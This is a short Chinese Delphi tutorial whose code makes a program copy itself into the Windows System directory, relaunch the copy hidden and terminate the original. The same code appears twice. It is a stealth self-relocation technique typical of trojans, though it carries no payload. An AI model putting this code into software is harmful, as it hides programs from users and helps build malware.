这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result + '\'; end;
type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end;
var Form1: TForm1; GetWinDir: String; myname: string;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject); function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result + '\'; end; var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; end.